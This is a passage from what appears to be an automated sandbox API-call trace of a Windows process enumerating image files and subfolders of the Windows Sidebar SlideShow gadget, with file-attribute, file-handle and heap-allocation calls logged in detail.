Size=0x80) returned 0x12efab8 [0090.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f35f8 [0090.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13423b8 [0090.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.353] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbafafbe0, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbafafbe0, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb31511c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xba6, dwReserved0=0x0, dwReserved1=0x0, cFileName="reveal_rest.png", cAlternateFileName="")) returned 1 [0090.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3618 [0090.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13424c0 [0090.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.355] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbade6b6c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbade6b6c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb33b27c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x61b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulip.jpg", cAlternateFileName="")) returned 1 [0090.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3638 [0090.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13425c8 [0090.357] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.357] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbade6b6c, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbade6b6c, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb33b27c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x61b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tulip.jpg", cAlternateFileName="")) returned 0 [0090.357] GetLastError () returned 0x12 [0090.357] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0090.357] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0090.357] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819454bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819454bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.357] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbae7f0e8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbae7f0e8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb0ffddc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x0, dwReserved1=0x0, cFileName="blank.png", cAlternateFileName="")) returned 1 [0090.357] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819454bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819454bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="in_sidebar", cAlternateFileName="")) returned 1 [0090.357] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13426d0 [0090.357] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819454bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819454bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.357] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\images\\in_sidebar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0090.358] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0090.358] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.358] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0090.358] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.358] NtClose (Handle=0x168) returned 0x0 [0090.359] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13426d0) returned 1 [0090.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.359] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13426d0 [0090.360] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13427d8 [0090.360] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0090.360] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819454bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819454bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.360] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb125f3c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xcb125f3c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xcb125f3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_sidebar.png", cAlternateFileName="")) returned 1 [0090.360] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.361] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.361] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.361] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13428e0 [0090.362] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3658 [0090.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13429e8 [0090.362] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.362] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad9a8ae, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbad9a8ae, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb14c09c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 1 [0090.362] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.363] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.363] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.363] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3678 [0090.364] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1342af0 [0090.364] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.364] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad9a8ae, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbad9a8ae, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb14c09c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 0 [0090.364] GetLastError () returned 0x12 [0090.364] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\in_sidebar\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0090.364] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0090.364] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819454bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819454bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.364] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb125f3c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xcb125f3c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xcb125f3c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg_sidebar.png", cAlternateFileName="")) returned 1 [0090.364] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad9a8ae, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbad9a8ae, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb14c09c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 1 [0090.365] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad9a8ae, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbad9a8ae, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb14c09c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xdb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 0 [0090.365] GetLastError () returned 0x12 [0090.365] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13427d8) returned 1 [0090.365] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0090.365] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13428e0) returned 1 [0090.365] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13426d0) returned 1 [0090.365] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb14c09c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xcb14c09c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xcb14c09c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbf7, dwReserved0=0x0, dwReserved1=0x0, cFileName="next_down.png", cAlternateFileName="")) returned 1 [0090.365] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad9a8ae, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbad9a8ae, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb14c09c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="next_hov.png", cAlternateFileName="")) returned 1 [0090.365] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbadc0a0d, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbadc0a0d, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb1721fc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="next_rest.png", cAlternateFileName="")) returned 1 [0090.365] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819454bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819454bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="on_desktop", cAlternateFileName="")) returned 1 [0090.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13426d0 [0090.366] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\images\\on_desktop"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819454bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819454bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.366] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\slideshow.gadget\\images\\on_desktop"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0090.366] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0090.366] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.367] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0090.367] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.367] NtClose (Handle=0x15c) returned 0x0 [0090.367] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13426d0) returned 1 [0090.367] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.367] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13426d0 [0090.368] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.368] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13428e0 [0090.368] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0090.369] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819454bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819454bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.369] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19835c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xcb19835c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xcb19835c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1589, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 1 [0090.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.369] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.369] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.370] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0090.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13427d8 [0090.370] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3698 [0090.370] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1342bf8 [0090.371] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0090.371] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19835c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xcb19835c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xcb19835c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1589, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 0 [0090.371] GetLastError () returned 0x12 [0090.371] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\SlideShow.Gadget\\images\\on_desktop\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0090.371] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0090.371] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819454bf, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819454bf, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.371] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19835c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xcb19835c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xcb19835c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1589, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 1 [0090.371] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19835c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xcb19835c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xcb19835c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1589, dwReserved0=0x0, dwReserved1=0x0, cFileName="slideshow_glass_frame.png", cAlternateFileName="")) returned 0 [0090.371] GetLastError () returned 0x12 [0090.371] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13428e0) returned 1 [0090.372] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0090.372] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13427d8) returned 1 [0090.372] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13426d0) returned 1 [0090.372] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbae7f0e8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbae7f0e8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xcb19835c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xbca, dwReserved0=0x0, dwReserved1=0x0, cFileName="pause_down.png", cAlternateFileName="")) returned 1 [0090.372] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbaea5247, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbaea5247, ftLastAccessTime.dwHighDateTime=0x1ca0404, 